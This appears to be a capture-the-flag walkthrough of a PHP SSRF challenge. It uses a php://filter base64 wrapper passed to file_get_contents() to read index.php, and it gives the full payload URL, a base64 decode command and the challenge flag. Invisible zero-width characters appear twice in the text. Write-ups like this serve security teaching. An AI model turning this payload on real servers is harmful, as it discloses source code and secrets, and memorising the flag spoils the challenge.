file_get_contents SSRF

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: base64_source_read, php_filter_wrapper, ssrf_source_disclosure

Summary

Walkthrough of the CUSTOM Web file_get_contents SSRF. PHP SSRF with file_get_contents function.

Description

PHP SSRF with file_get_contents function.

URL: https://advweb3.spb.ctf.su/

Analysis

The web application uses the PHP file_get_contents() function to load resources by URL. This function supports various PHP stream wrappers, including php://filter, which allows reading PHP file source code.

The flag is located in the $flag variable inside the source code at /var/www/html/index.php.

Solution

1. Identified that the application uses file_get_contents() to load resources
2. Used PHP filter wrapper to read the source code in base64: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

php://filter/convert.base64-encode/resource=/var/www/html/index.php

1. Decoded the received base64:

 bash read-only • copy allowed Copy
echo "PD9waHAKJGZsYWcgPSAic3BiY3RmezE0M2YxMDQ0YjIyODgxMmI4YWQwNTA3MzUwNzI0ZWQ3fSI7Ci4uLg==" | base64 -d

1. Found the flag in the $flag variable in the decoded source code

Full payload URL:

https://advweb3.spb.ctf.su/?url=php://filter/convert.base64-encode/resource=/var/www/html/index.php

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering base64_source_read, php_filter_wrapper, ssrf_source_disclosure was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • file_get_contents SSRF • Difficulty: Easy